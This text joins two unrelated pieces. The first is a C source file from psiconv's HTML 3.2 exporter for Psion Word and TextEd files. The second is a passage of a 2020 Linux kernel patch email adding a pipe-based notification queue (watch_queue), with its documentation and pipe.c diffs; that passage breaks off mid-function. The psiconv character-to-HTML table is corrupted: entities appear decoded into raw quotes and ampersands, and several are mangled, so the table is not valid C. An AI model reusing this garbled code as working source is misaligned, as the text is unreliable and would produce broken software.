21 #include <stdio.h>
22 #include <string.h>
23 #include <stdlib.h>
24 #include "psiconv/data.h"
25 #include "psiconv/list.h"
26 #include "gen.h"
27 #include "psiconv.h"
28
29 #ifdef DMALLOC
30 #include "dmalloc.h"
31 #endif
32
33 /* This determines for each character how it is displayed */
34 static const char *char_table[0x100] =
35 {
36 /* 0x00 */ "" ,"" ,"" ,"" ,"" ,"" ,"<P> ","<BR>" ,
37 /* 0x08 */ "<P>" ," " ,"" ,"" ,"" ,"" ,"" ,"" ,
38 /* 0x10 */ " " ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,
39 /* 0x18 */ "" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,
40 /* 0x20 */ " " ,"!" ,""","#" ,"$" ,"%" ,"&","'" ,
41 /* 0x28 */ "(" ,")" ,"*" ,"+" ,"," ,"-" ,"." ,"/" ,
42 /* 0x30 */ "0" ,"1" ,"2" ,"3" ,"4" ,"5" ,"6" ,"7" ,
43 /* 0x38 */ "8" ,"9" ,":" ,";" ,"<" ,"=" ,">" ,"?" ,
44 /* 0x40 */ "@" ,"A" ,"B" ,"C" ,"D" ,"E" ,"F" ,"G" ,
45 /* 0x48 */ "H" ,"I" ,"J" ,"K" ,"L" ,"M" ,"N" ,"O" ,
46 /* 0x50 */ "P" ,"Q" ,"R" ,"S" ,"T" ,"U" ,"V" ,"W" ,
47 /* 0x58 */ "X" ,"Y" ,"Z" ,"[" ,"\\" ,"]" ,"^" ,"_" ,
48 /* 0x60 */ "`" ,"a" ,"b" ,"c" ,"d" ,"e" ,"f" ,"g" ,
49 /* 0x68 */ "h" ,"i" ,"j" ,"k" ,"l" ,"m" ,"n" ,"o" ,
50 /* 0x70 */ "p" ,"q" ,"r" ,"s" ,"t" ,"u" ,"v" ,"w" ,
51 /* 0x78 */ "x" ,"y" ,"z" ,"{" ,"|" ,"}" ,"~" ,"" ,
52 /* 0x80 */ "" ,"","&sbquot;","ƒ","„","…",
53 "†","‡",
54 /* 0x88 */ "^","‰","Š","⟨","Œ","" ,"" ,"" ,
55 /* 0x90 */ "","‘","’","“","”",
56 "·","&ndash","&mdash",
57 /* 0x98 */ "˜","™","š","⟩","œ","","","Ÿ",
58 /* 0xa0 */ "","¡","¢","£",
59 "¤","¥","¦","§",
60 /* 0xa8 */ ""","©","a","«","¬","-","®","¯on;",
61 /* 0xb0 */ "°","±","²","³",
62 "&rsquot;","µn;","¶","·",
63 /* 0xb8 */ ",","¹","°","»",
64 "¼","½","¾","¿",
65 /* 0xc0 */ "À","Á","Â","Ã",
66 "Ä","Å","Æ","Ç",
67 /* 0xc8 */ "È","É","Ê","Ë",
68 "Ì","Í","Î","Ï",
69 /* 0xd0 */ "Ð","Ñ","Ò","Ó",
70 "Ô","Õ","Ö","×",
71 /* 0xd8 */ "Ø","Ù","Ú","Û",
72 "Ü","Ý","Þ","ß",
73 /* 0xe0 */ "à","á","â","ã",
74 "ä","å","æ","ç",
75 /* 0xe8 */ "è","é","ê","ë",
76 "ì","í","î","ï",
77 /* 0xf0 */ "ð","ñ","ò","ó",
78 "ô","õ","ö","÷",
79 /* 0xf8 */ "ø","ù","ú","û",
80 "ü","ý","þ","ÿ"
81 };
82
83 static psiconv_character_layout gen_base_char(const psiconv_font font,
84 const psiconv_color color,
85 const psiconv_color back_color);
86 static void diff_char(FILE *of, const psiconv_character_layout old,
87 const psiconv_character_layout new, int *flags);
88 static void gen_para(FILE *of, const psiconv_paragraph para,
89 const psiconv_character_layout base_char);
90
91 static void psiconv_gen_html_word(FILE *of,psiconv_word_f wf);
92 static void psiconv_gen_html_texted(FILE *of,psiconv_texted_f tf);
93
94 /* This is not necessarily the same as returned by basic_character_layout_status
95 This one is specific for the base point of HTML */
96 psiconv_character_layout gen_base_char(const psiconv_font font,
97 const psiconv_color color,
98 const psiconv_color back_color)
99 {
100 struct psiconv_character_layout_s base_char_struct =
101 {
102 NULL, /* color */
103 NULL, /* back_color */
104 13.0, /* font_size */
105 psiconv_bool_false, /* italic */
106 psiconv_bool_false, /* bold */
107 psiconv_normalscript, /* super_sub */
108 psiconv_bool_false, /* underline */
109 psiconv_bool_false, /* strikethrough */
110 NULL, /* font */
111 };
112 base_char_struct.color = color;
113 base_char_struct.back_color = back_color;
114 base_char_struct.font = font;
115 return psiconv_clone_character_layout(&base_char_struct);
116 }
117
118 /* flags & 1: 0 if no <FONT> was yet generated.
119 flags & 2: 1 if at end-of-paragraph
120 */
121 void diff_char(FILE *of, const psiconv_character_layout old,
122 const psiconv_character_layout new,
123 int *flags)
124 {
125 int font_set = 0;
126
127 if ((old->font_size != new->font_size) ||
128 (old->color->red != new->color->red) ||
129 (old->color->green != new->color->green) ||
130 (old->color->blue != new->color->blue) ||
131 (strcmp(old->font->name,new->font->name)) ||
132 (old->font->screenfont != new->font->screenfont) ||
133 ((*flags & 0x03) == 3)) {
134 if (old->italic)
135 fputs("</I>",of);
136 if (old->bold)
137 fputs("</B>",of);
138 if (old->underline)
139 fputs("</U>",of);
140 if (old->strikethrough)
141 fputs("</STRIKE>",of);
142 if (old->super_sub == psiconv_superscript)
143 fputs("</SUP>",of);
144 if (old->super_sub == psiconv_subscript)
145 fputs("</SUB>",of);
146 if ((*flags & 1) == 1)
147 fputs("</FONT>",of);
148 if ((*flags & 2) == 0) {
149 *flags |= 1;
150 fputs("<FONT SIZE=",of);
151 if (new->font_size <= 8.0)
152 fputs("1",of);
153 else if (new->font_size <= 10.0)
154 fputs("2",of);
155 else if (new->font_size <= 12.0)
156 fputs("3",of);
157 else if (new->font_size <= 14.0)
158 fputs("4",of);
159 else if (new->font_size <= 18.0)
160 fputs("5",of);
161 else if (new->font_size <= 24.0)
162 fputs("6",of);
163 else
164 fputs("7",of);
165 fprintf(of," COLOR=#%02x%02x%02x",new->color->red,new->color->green,
166 new->color->blue);
167 if (new->font->screenfont == psiconv_font_sansserif)
168 fprintf(of," FACE=\"%s, Sans-Serif\">",new->font->name);
169 else if (new->font->screenfont == psiconv_font_nonprop)
170 fprintf(of," FACE=\"%s, Monospace\">",new->font-> name);
171 else if (new->font->screenfont == psiconv_font_serif)
172 fprintf(of," FACE=\"%s, Serif\">",new->font-> name);
173 else
174 fprintf(of," FACE=\"%s, Serif\">",new->font-> name);
175 }
176 if (new->italic)
177 fputs("<I>",of);
178 if (new->bold)
179 fputs("<B>",of);
180 if (new->underline)
181 fputs("<U>",of);
182 if (new->strikethrough)
183 fputs("<STRIKE>",of);
184 if (new->super_sub == psiconv_superscript)
185 fputs("<SUP>",of);
186 if (new->super_sub == psiconv_subscript)
187 fputs("<SUB>",of);
188 } else {
189 if (font_set || (old->italic != new->italic)) {
190 if (old->italic)
191 fputs("</I>",of);
192 else
193 fputs("<I>",of);
194 }
195 if (old->bold != new->bold) {
196 if (old->bold)
197 fputs("</B>",of);
198 else
199 fputs("<B>",of);
200 }
201 if (old->underline != new->underline) {
202 if (old->underline)
203 fputs("</U>",of);
204 else
205 fputs("<U>",of);
206 }
207 if (old->strikethrough != new->strikethrough) {
208 if (old->strikethrough)
209 fputs("</STRIKE>",of);
210 else
211 fputs("<STRIKE>",of);
212 }
213 if (old->super_sub != new->super_sub) {
214 if (old->super_sub == psiconv_superscript)
215 fputs("</SUP>",of);
216 else if (old->super_sub == psiconv_subscript)
217 fputs("</SUB>",of);
218 if (new->super_sub == psiconv_superscript)
219 fputs("<SUP>",of);
220 else if (new->super_sub == psiconv_subscript)
221 fputs("<SUB>",of);
222 }
223 }
224 }
225
226 void gen_para(FILE *of, const psiconv_paragraph para,
227 const psiconv_character_layout base_char)
228 {
229 int i,j,loc;
230 psiconv_character_layout cur_char;
231 psiconv_in_line_layout inl;
232 int flags = 0;
233
234
235 fputs("<P",of);
236 if (para->base_paragraph->justify_hor == psiconv_justify_left)
237 fputs(" ALIGN=left",of);
238 else if (para->base_paragraph->justify_hor == psiconv_justify_right)
239 fputs(" ALIGN=right",of);
240 else if (para->base_paragraph->justify_hor == psiconv_justify_centre)
241 fputs(" ALIGN=center",of);
242 else if (para->base_paragraph->justify_hor == psiconv_justify_full)
243 fputs(" ALIGN=left",of);
244 fputs(">",of);
245 if (para->base_paragraph->bullet->on)
246 fputs("<UL><LI>",of);
247
248 cur_char = base_char;
249
250 if (psiconv_list_length(para->in_lines) == 0) {
251 diff_char(of,cur_char,para->base_character,&flags);
252 cur_char = para->base_character;
253 }
254 loc = 0;
255
256 for (i = 0; i < psiconv_list_length(para->in_lines); i++) {
257 inl = psiconv_list_get(para->in_lines,i);
258 diff_char(of,cur_char,inl->layout,&flags);
259 cur_char = inl->layout;
260 for (j = loc; j < inl->length + loc; j ++) {
261 fputs(char_table[(unsigned char) (para->text[j])],of);
262 }
263 loc = j;
264 }
265
266 if (loc < strlen(para->text)) {
267 diff_char(of,cur_char,para->base_character,&flags);
268 cur_char = para->base_character;
269 for (j = loc; j < strlen(para->text); j ++) {
270 fputs(char_table[(unsigned char) (para->text[j])],of);
271 }
272 }
273
274 if (strlen(para->text) == 0)
275 fputs("<BR>",of);
276
277 flags |= 2;
278 diff_char(of,cur_char,base_char,&flags);
279
280 if (para->base_paragraph->bullet->on)
281 fputs("</UL>",of);
282
283 fputs("</P>\n",of);
284 }
285
286 int psiconv_gen_html(const char * filename,const psiconv_file file,
287 const char *dest)
288 {
289 FILE *of = fopen(filename,"w");
290 if (! of)
291 return -1;
292
293 if (file->type == psiconv_word_file) {
294 psiconv_gen_html_word(of,(psiconv_word_f) file->file);
295 } else if (file->type == psiconv_texted_file) {
296 psiconv_gen_html_texted(of,(psiconv_texted_f) file->file);
297 } else {
298 fclose(of);
299 return -1;
300 }
301 return fclose(of);
302 }
303
304 void psiconv_gen_html_texted(FILE *of,psiconv_texted_f tf)
305 {
306 psiconv_character_layout base_char;
307 psiconv_paragraph para;
308 int i;
309
310 /* We have nothing better */
311 base_char = psiconv_basic_character_layout();
312
313 fputs("<!doctype html public \"-//W3C//DTD HTML 3.2 Final//EN\">", of);
314 fputs("\n<HTML>\n<HEAD>\n <META NAME=\"GENERATOR\"", of);
315 fputs(" CONTENT=\"psiconv-" VERSION "\">\n", of);
316 fputs("<BODY>\n",of);
317 for (i = 0; i < psiconv_list_length(tf->texted_sec->paragraphs); i++) {
318 para = psiconv_list_get(tf->texted_sec->paragraphs,i);
319 gen_para(of,para,base_char);
320 }
321 fputs("</BODY>\n</HTML>\n",of);
322 psiconv_free_character_layout(base_char);
323 }
324
325
326 void psiconv_gen_html_word(FILE *of,psiconv_word_f wf)
327 {
328 int i;
329 psiconv_paragraph para;
330 psiconv_color white,black;
331 psiconv_character_layout base_char;
332
333 white = malloc(sizeof(*white));
334 black = malloc(sizeof(*black));
335 white->red = 0x00;
336 white->green = 0x00;
337 white->blue = 0x00;
338 black->red = 0xff;
339 black->green = 0xff;
340 black->blue = 0xff;
341
342 /* To keep from generating a font desc for each line */
343 base_char = gen_base_char(wf->styles_sec->normal->character->font,
344 black,white);
345
346 psiconv_free_color(black);
347 psiconv_free_color(white);
348
349 fputs("<!doctype html public \"-//W3C//DTD HTML 3.2 Final//EN\">", of);
350 fputs("\n<HTML>\n<HEAD>\n <META NAME=\"GENERATOR\"", of);
351 fputs(" CONTENT=\"psiconv-" VERSION "\">\n", of);
352 fputs("<BODY>\n",of);
353
354 for (i = 0; i < psiconv_list_length(wf->paragraphs); i++) {
355 para = psiconv_list_get(wf->paragraphs,i);
356 gen_para(of,para,base_char);
357 }
358 fputs("</BODY>\n</HTML>\n",of);
359 psiconv_free_character_layout(base_char);
360 }
361
362 static struct psiconv_fileformat_s ff =
363 {
364 "HTML3",
365 "HTML 3.2, not verified so probably not completely compliant",
366 &psiconv_gen_html
367 };
368
369 void init_html(void)
370 {
371 psiconv_list_add(fileformat_list,&ff);
372 }
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[PATCH 05/17] pipe: Add general notification queue support [ver #5]
David Howells dhowells at redhat.com
Wed Mar 18 15:03:58 UTC 2020
Make it possible to have a general notification queue built on top of a
standard pipe. Notifications are 'spliced' into the pipe and then read
out. splice(), vmsplice() and sendfile() are forbidden on pipes used for
notifications as post_one_notification() cannot take pipe->mutex. This
means that notifications could be posted in between individual pipe
buffers, making iov_iter_revert() difficult to effect.
The way the notification queue is used is:
(1) An application opens a pipe with a special flag and indicates the
number of messages it wishes to be able to queue at once (this can
only be set once):
pipe2(fds, O_NOTIFICATION_PIPE);
ioctl(fds[0], IOC_WATCH_QUEUE_SET_SIZE, queue_depth);
(2) The application then uses poll() and read() as normal to extract data
from the pipe. read() will return multiple notifications if the
buffer is big enough, but it will not split a notification across
buffers - rather it will return a short read or EMSGSIZE.
Notification messages include a length in the header so that the
caller can split them up.
Each message has a header that describes it:
struct watch_notification {
__u32 type:24;
__u32 subtype:8;
__u32 info;
};
The type indicates the source (eg. mount tree changes, superblock events,
keyring changes, block layer events) and the subtype indicates the event
type (eg. mount, unmount; EIO, EDQUOT; link, unlink). The info field
indicates a number of things, including the entry length, an ID assigned to
a watchpoint contributing to this buffer and type-specific flags.
Supplementary data, such as the key ID that generated an event, can be
attached in additional slots. The maximum message size is 127 bytes.
Messages may not be padded or aligned, so there is no guarantee, for
example, that the notification type will be on a 4-byte bounary.
Signed-off-by: David Howells <dhowells at redhat.com>
---
Documentation/userspace-api/ioctl/ioctl-number.rst | 1
Documentation/watch_queue.rst | 339 ++++++++++
fs/pipe.c | 206 ++++--
fs/splice.c | 12
include/linux/pipe_fs_i.h | 19 +
include/linux/watch_queue.h | 127 ++++
include/uapi/linux/watch_queue.h | 20 +
init/Kconfig | 12
kernel/Makefile | 1
kernel/watch_queue.c | 657 ++++++++++++++++++++
10 files changed, 1318 insertions(+), 76 deletions(-)
create mode 100644 Documentation/watch_queue.rst
create mode 100644 include/linux/watch_queue.h
create mode 100644 kernel/watch_queue.c
diff --git a/Documentation/userspace-api/ioctl/ioctl-number.rst b/Documentation/userspace-api/ioctl/ioctl-number.rst
index 2e91370dc159..cdf8551d70d7 100644
--- a/Documentation/userspace-api/ioctl/ioctl-number.rst
+++ b/Documentation/userspace-api/ioctl/ioctl-number.rst
@@ -201,6 +201,7 @@ Code Seq# Include File Comments
'W' 00-1F linux/wanrouter.h conflict! (pre 3.9)
'W' 00-3F sound/asound.h conflict!
'W' 40-5F drivers/pci/switch/switchtec.c
+'W' 60-61 linux/watch_queue.h
'X' all fs/xfs/xfs_fs.h, conflict!
fs/xfs/linux-2.6/xfs_ioctl32.h,
include/linux/falloc.h,
diff --git a/Documentation/watch_queue.rst b/Documentation/watch_queue.rst
new file mode 100644
index 000000000000..849fad6893ef
--- /dev/null
+++ b/Documentation/watch_queue.rst
@@ -0,0 +1,339 @@
+==============================
+General notification mechanism
+==============================
+
+The general notification mechanism is built on top of the standard pipe driver
+whereby it effectively splices notification messages from the kernel into pipes
+opened by userspace. This can be used in conjunction with::
+
+ * Key/keyring notifications
+
+
+The notifications buffers can be enabled by:
+
+ "General setup"/"General notification queue"
+ (CONFIG_WATCH_QUEUE)
+
+This document has the following sections:
+
+.. contents:: :local:
+
+
+Overview
+========
+
+This facility appears as a pipe that is opened in a special mode. The pipe's
+internal ring buffer is used to hold messages that are generated by the kernel.
+These messages are then read out by read(). Splice and similar are disabled on
+such pipes due to them wanting to, under some circumstances, revert their
+additions to the ring - which might end up interleaved with notification
+messages.
+
+The owner of the pipe has to tell the kernel which sources it would like to
+watch through that pipe. Only sources that have been connected to a pipe will
+insert messages into it. Note that a source may be bound to multiple pipes and
+insert messages into all of them simultaneously.
+
+Filters may also be emplaced on a pipe so that certain source types and
+subevents can be ignored if they're not of interest.
+
+A message will be discarded if there isn't a slot available in the ring or if
+no preallocated message buffer is available. In both of these cases, read()
+will insert a WATCH_META_LOSS_NOTIFICATION message into the output buffer after
+the last message currently in the buffer has been read.
+
+Note that when producing a notification, the kernel does not wait for the
+consumers to collect it, but rather just continues on. This means that
+notifications can be generated whilst spinlocks are held and also protects the
+kernel from being held up indefinitely by a userspace malfunction.
+
+
+Message Structure
+=================
+
+Notification messages begin with a short header::
+
+ struct watch_notification {
+ __u32 type:24;
+ __u32 subtype:8;
+ __u32 info;
+ };
+
+"type" indicates the source of the notification record and "subtype" indicates
+the type of record from that source (see the Watch Sources section below). The
+type may also be "WATCH_TYPE_META". This is a special record type generated
+internally by the watch queue itself. There are two subtypes:
+
+ * WATCH_META_REMOVAL_NOTIFICATION
+ * WATCH_META_LOSS_NOTIFICATION
+
+The first indicates that an object on which a watch was installed was removed
+or destroyed and the second indicates that some messages have been lost.
+
+"info" indicates a bunch of things, including:
+
+ * The length of the message in bytes, including the header (mask with
+ WATCH_INFO_LENGTH and shift by WATCH_INFO_LENGTH__SHIFT). This indicates
+ the size of the record, which may be between 8 and 127 bytes.
+
+ * The watch ID (mask with WATCH_INFO_ID and shift by WATCH_INFO_ID__SHIFT).
+ This indicates that caller's ID of the watch, which may be between 0
+ and 255. Multiple watches may share a queue, and this provides a means to
+ distinguish them.
+
+ * A type-specific field (WATCH_INFO_TYPE_INFO). This is set by the
+ notification producer to indicate some meaning specific to the type and
+ subtype.
+
+Everything in info apart from the length can be used for filtering.
+
+The header can be followed by supplementary information. The format of this is
+at the discretion is defined by the type and subtype.
+
+
+Watch List (Notification Source) API
+====================================
+
+A "watch list" is a list of watchers that are subscribed to a source of
+notifications. A list may be attached to an object (say a key or a superblock)
+or may be global (say for device events). From a userspace perspective, a
+non-global watch list is typically referred to by reference to the object it
+belongs to (such as using KEYCTL_NOTIFY and giving it a key serial number to
+watch that specific key).
+
+To manage a watch list, the following functions are provided:
+
+ * ``void init_watch_list(struct watch_list *wlist,
+ void (*release_watch)(struct watch *wlist));``
+
+ Initialise a watch list. If ``release_watch`` is not NULL, then this
+ indicates a function that should be called when the watch_list object is
+ destroyed to discard any references the watch list holds on the watched
+ object.
+
+ * ``void remove_watch_list(struct watch_list *wlist);``
+
+ This removes all of the watches subscribed to a watch_list and frees them
+ and then destroys the watch_list object itself.
+
+
+Watch Queue (Notification Output) API
+=====================================
+
+A "watch queue" is the buffer allocated by an application that notification
+records will be written into. The workings of this are hidden entirely inside
+of the pipe device driver, but it is necessary to gain a reference to it to set
+a watch. These can be managed with:
+
+ * ``struct watch_queue *get_watch_queue(int fd);``
+
+ Since watch queues are indicated to the kernel by the fd of the pipe that
+ implements the buffer, userspace must hand that fd through a system call.
+ This can be used to look up an opaque pointer to the watch queue from the
+ system call.
+
+ * ``void put_watch_queue(struct watch_queue *wqueue);``
+
+ This discards the reference obtained from ``get_watch_queue()``.
+
+
+Watch Subscription API
+======================
+
+A "watch" is a subscription on a watch list, indicating the watch queue, and
+thus the buffer, into which notification records should be written. The watch
+queue object may also carry filtering rules for that object, as set by
+userspace. Some parts of the watch struct can be set by the driver::
+
+ struct watch {
+ union {
+ u32 info_id; /* ID to be OR'd in to info field */
+ ...
+ };
+ void *private; /* Private data for the watched object */
+ u64 id; /* Internal identifier */
+ ...
+ };
+
+The ``info_id`` value should be an 8-bit number obtained from userspace and
+shifted by WATCH_INFO_ID__SHIFT. This is OR'd into the WATCH_INFO_ID field of
+struct watch_notification::info when and if the notification is written into
+the associated watch queue buffer.
+
+The ``private`` field is the driver's data associated with the watch_list and
+is cleaned up by the ``watch_list::release_watch()`` method.
+
+The ``id`` field is the source's ID. Notifications that are posted with a
+different ID are ignored.
+
+The following functions are provided to manage watches:
+
+ * ``void init_watch(struct watch *watch, struct watch_queue *wqueue);``
+
+ Initialise a watch object, setting its pointer to the watch queue, using
+ appropriate barriering to avoid lockdep complaints.
+
+ * ``int add_watch_to_object(struct watch *watch, struct watch_list *wlist);``
+
+ Subscribe a watch to a watch list (notification source). The
+ driver-settable fields in the watch struct must have been set before this
+ is called.
+
+ * ``int remove_watch_from_object(struct watch_list *wlist,
+ struct watch_queue *wqueue,
+ u64 id, false);``
+
+ Remove a watch from a watch list, where the watch must match the specified
+ watch queue (``wqueue``) and object identifier (``id``). A notification
+ (``WATCH_META_REMOVAL_NOTIFICATION``) is sent to the watch queue to
+ indicate that the watch got removed.
+
+ * ``int remove_watch_from_object(struct watch_list *wlist, NULL, 0, true);``
+
+ Remove all the watches from a watch list. It is expected that this will be
+ called preparatory to destruction and that the watch list will be
+ inaccessible to new watches by this point. A notification
+ (``WATCH_META_REMOVAL_NOTIFICATION``) is sent to the watch queue of each
+ subscribed watch to indicate that the watch got removed.
+
+
+Notification Posting API
+========================
+
+To post a notification to watch list so that the subscribed watches can see it,
+the following function should be used::
+
+ void post_watch_notification(struct watch_list *wlist,
+ struct watch_notification *n,
+ const struct cred *cred,
+ u64 id);
+
+The notification should be preformatted and a pointer to the header (``n``)
+should be passed in. The notification may be larger than this and the size in
+units of buffer slots is noted in ``n->info & WATCH_INFO_LENGTH``.
+
+The ``cred`` struct indicates the credentials of the source (subject) and is
+passed to the LSMs, such as SELinux, to allow or suppress the recording of the
+note in each individual queue according to the credentials of that queue
+(object).
+
+The ``id`` is the ID of the source object (such as the serial number on a key).
+Only watches that have the same ID set in them will see this notification.
+
+
+Watch Sources
+=============
+
+Any particular buffer can be fed from multiple sources. Sources include:
+
+ * WATCH_TYPE_KEY_NOTIFY
+
+ Notifications of this type indicate changes to keys and keyrings, including
+ the changes of keyring contents or the attributes of keys.
+
+ See Documentation/security/keys/core.rst for more information.
+
+
+Event Filtering
+===============
+
+Once a watch queue has been created, a set of filters can be applied to limit
+the events that are received using::
+
+ struct watch_notification_filter filter = {
+ ...
+ };
+ ioctl(fd, IOC_WATCH_QUEUE_SET_FILTER, &filter)
+
+The filter description is a variable of type::
+
+ struct watch_notification_filter {
+ __u32 nr_filters;
+ __u32 __reserved;
+ struct watch_notification_type_filter filters[];
+ };
+
+Where "nr_filters" is the number of filters in filters[] and "__reserved"
+should be 0. The "filters" array has elements of the following type::
+
+ struct watch_notification_type_filter {
+ __u32 type;
+ __u32 info_filter;
+ __u32 info_mask;
+ __u32 subtype_filter[8];
+ };
+
+Where:
+
+ * ``type`` is the event type to filter for and should be something like
+ "WATCH_TYPE_KEY_NOTIFY"
+
+ * ``info_filter`` and ``info_mask`` act as a filter on the info field of the
+ notification record. The notification is only written into the buffer if::
+
+ (watch.info & info_mask) == info_filter
+
+ This could be used, for example, to ignore events that are not exactly on
+ the watched point in a mount tree.
+
+ * ``subtype_filter`` is a bitmask indicating the subtypes that are of
+ interest. Bit 0 of subtype_filter[0] corresponds to subtype 0, bit 1 to
+ subtype 1, and so on.
+
+If the argument to the ioctl() is NULL, then the filters will be removed and
+all events from the watched sources will come through.
+
+
+Userspace Code Example
+======================
+
+A buffer is created with something like the following::
+
+ pipe2(fds, O_TMPFILE);
+ ioctl(fds[1], IOC_WATCH_QUEUE_SET_SIZE, 256);
+
+It can then be set to receive keyring change notifications::
+
+ keyctl(KEYCTL_WATCH_KEY, KEY_SPEC_SESSION_KEYRING, fds[1], 0x01);
+
+The notifications can then be consumed by something like the following::
+
+ static void consumer(int rfd, struct watch_queue_buffer *buf)
+ {
+ unsigned char buffer[128];
+ ssize_t buf_len;
+
+ while (buf_len = read(rfd, buffer, sizeof(buffer)),
+ buf_len > 0
+ ) {
+ void *p = buffer;
+ void *end = buffer + buf_len;
+ while (p < end) {
+ union {
+ struct watch_notification n;
+ unsigned char buf1[128];
+ } n;
+ size_t largest, len;
+
+ largest = end - p;
+ if (largest > 128)
+ largest = 128;
+ memcpy(&n, p, largest);
+
+ len = (n->info & WATCH_INFO_LENGTH) >>
+ WATCH_INFO_LENGTH__SHIFT;
+ if (len == 0 || len > largest)
+ return;
+
+ switch (n.n.type) {
+ case WATCH_TYPE_META:
+ got_meta(&n.n);
+ case WATCH_TYPE_KEY_NOTIFY:
+ saw_key_change(&n.n);
+ break;
+ }
+
+ p += len;
+ }
+ }
+ }
diff --git a/fs/pipe.c b/fs/pipe.c
index 2144507447c5..4d86274f9a6e 100644
--- a/fs/pipe.c
+++ b/fs/pipe.c
@@ -24,6 +24,7 @@
#include <linux/syscalls.h>
#include <linux/fcntl.h>
#include <linux/memcontrol.h>
+#include <linux/watch_queue.h>
#include <linux/uaccess.h>
#include <asm/ioctls.h>
@@ -459,6 +460,13 @@ pipe_write(struct kiocb *iocb, struct iov_iter *from)
goto out;
}
+#ifdef CONFIG_WATCH_QUEUE
+ if (pipe->watch_queue) {
+ ret = -EXDEV;
+ goto out;
+ }
+#endif
+
/*
* Only wake up if the pipe started out empty, since
* otherwise there should be no readers waiting.
@@ -628,22 +636,37 @@ static long pipe_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
int count, head, tail, mask;
switch (cmd) {
- case FIONREAD:
- __pipe_lock(pipe);
- count = 0;
- head = pipe->head;
- tail = pipe->tail;
- mask = pipe->ring_size - 1;
+ case FIONREAD:
+ __pipe_lock(pipe);
+ count = 0;
+ head = pipe->head;
+ tail = pipe->tail;
+ mask = pipe->ring_size - 1;
- while (tail != head) {
- count += pipe->bufs[tail & mask].len;
- tail++;
- }
- __pipe_unlock(pipe);
+ while (tail != head) {
+ count += pipe->bufs[tail & mask].len;
+ tail++;
+ }
+ __pipe_unlock(pipe);
- return put_user(count, (int __user *)arg);
- default:
- return -ENOIOCTLCMD;
+ return put_user(count, (int __user *)arg);
+
+#ifdef CONFIG_WATCH_QUEUE
+ case IOC_WATCH_QUEUE_SET_SIZE: {
+ int ret;
+ __pipe_lock(pipe);
+ ret = watch_queue_set_size(pipe, arg);
+ __pipe_unlock(pipe);
+ return ret;
+ }
+
+ case IOC_WATCH_QUEUE_SET_FILTER:
+ return watch_queue_set_filter(
+ pipe, (struct watch_notification_filter __user *)arg);
+#endif
+
+ default:
+ return -ENOIOCTLCMD;
}
}
@@ -754,27 +777,27 @@ pipe_fasync(int fd, struct file *filp, int on)
return retval;
}
-static unsigned long account_pipe_buffers(struct user_struct *user,
- unsigned long old, unsigned long new)
+unsigned long account_pipe_buffers(struct user_struct *user,
+ unsigned long old, unsigned long new)
{
return atomic_long_add_return(new - old, &user->pipe_bufs);
}
-static bool too_many_pipe_buffers_soft(unsigned long user_bufs)
+bool too_many_pipe_buffers_soft(unsigned long user_bufs)
{
unsigned long soft_limit = READ_ONCE(pipe_user_pages_soft);
return soft_limit && user_bufs > soft_limit;
}
-static bool too_many_pipe_buffers_hard(unsigned long user_bufs)
+bool too_many_pipe_buffers_hard(unsigned long user_bufs)
{
unsigned long hard_limit = READ_ONCE(pipe_user_pages_hard);
return hard_limit && user_bufs > hard_limit;
}
-static bool is_unprivileged_user(void)
+bool pipe_is_unprivileged_user(void)
{
return !capable(CAP_SYS_RESOURCE) && !capable(CAP_SYS_ADMIN);
}
@@ -796,12 +819,12 @@ struct pipe_inode_info *alloc_pipe_info(void)
user_bufs = account_pipe_buffers(user, 0, pipe_bufs);
- if (too_many_pipe_buffers_soft(user_bufs) && is_unprivileged_user()) {
+ if (too_many_pipe_buffers_soft(user_bufs) && pipe_is_unprivileged_user()) {
user_bufs = account_pipe_buffers(user, pipe_bufs, 1);
pipe_bufs = 1;
}
- if (too_many_pipe_buffers_hard(user_bufs) && is_unprivileged_user())
+ if (too_many_pipe_buffers_hard(user_bufs) && pipe_is_unprivileged_user())
goto out_revert_acct;
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
@@ -813,6 +836,7 @@ struct pipe_inode_info *alloc_pipe_info(void)
pipe->r_counter = pipe->w_counter = 1;
pipe->max_usage = pipe_bufs;
pipe->ring_size = pipe_bufs;
+ pipe->nr_accounted = pipe_bufs;
pipe->user = user;
mutex_init(&pipe->mutex);
return pipe;
@@ -830,7 +854,14 @@ void free_pipe_info(struct pipe_inode_info *pipe)
{
int i;
- (void) account_pipe_buffers(pipe->user, pipe->ring_size, 0);
+#ifdef CONFIG_WATCH_QUEUE
+ if (pipe->watch_queue) {
+ watch_queue_clear(pipe->watch_queue);
+ put_watch_queue(pipe->watch_queue);
+ }
+#endif
+
+ (void) account_pipe_buffers(pipe->user, pipe->nr_accounted, 0);
free_uid(pipe->user);
for (i = 0; i < pipe->ring_size; i++) {
struct pipe_buffer *buf = pipe->bufs + i;
@@ -906,6 +937,17 @@ int create_pipe_files(struct file **res, int flags)
if (!inode)
return -ENFILE;
+ if (flags & O_NOTIFICATION_PIPE) {
+#ifdef CONFIG_WATCH_QUEUE
+ if (watch_queue_init(inode->i_pipe) < 0) {
+ iput(inode);
+ return -ENOMEM;
+ }
+#else
+ return -ENOPKG;
+#endif
+ }
+
f = alloc_file_pseudo(inode, pipe_mnt, "",
O_WRONLY | (flags & (O_NONBLOCK | O_DIRECT)),
&pipefifo_fops);
@@ -936,7 +978,7 @@ static int __do_pipe_flags(int *fd, struct file **files, int flags)
int error;
int fdw, fdr;
- if (flags & ~(O_CLOEXEC | O_NONBLOCK | O_DIRECT))
+ if (flags & ~(O_CLOEXEC | O_NONBLOCK | O_DIRECT | O_NOTIFICATION_PIPE))
return -EINVAL;
error = create_pipe_files(files, flags);
@@ -1184,42 +1226,12 @@ unsigned int round_pipe_size(unsigned long size)
}
/*
- * Allocate a new array of pipe buffers and copy the info over. Returns the
- * pipe size if successful, or return -ERROR on error.
+ * Resize the pipe ring to a number of slots.
*/
-static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
+int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
struct pipe_buffer *bufs;
- unsigned int size, nr_slots, head, tail, mask, n;
- unsigned long user_bufs;
- long ret = 0;
-
- size = round_pipe_size(arg);
- nr_slots = size >> PAGE_SHIFT;
-
- if (!nr_slots)
- return -EINVAL;
-
- /*
- * If trying to increase the pipe capacity, check that an
- * unprivileged user is not trying to exceed various limits
- * (soft limit check here, hard limit check just below).
- * Decreasing the pipe capacity is always permitted, even
- * if the user is currently over a limit.
- */
- if (nr_slots > pipe->ring_size &&
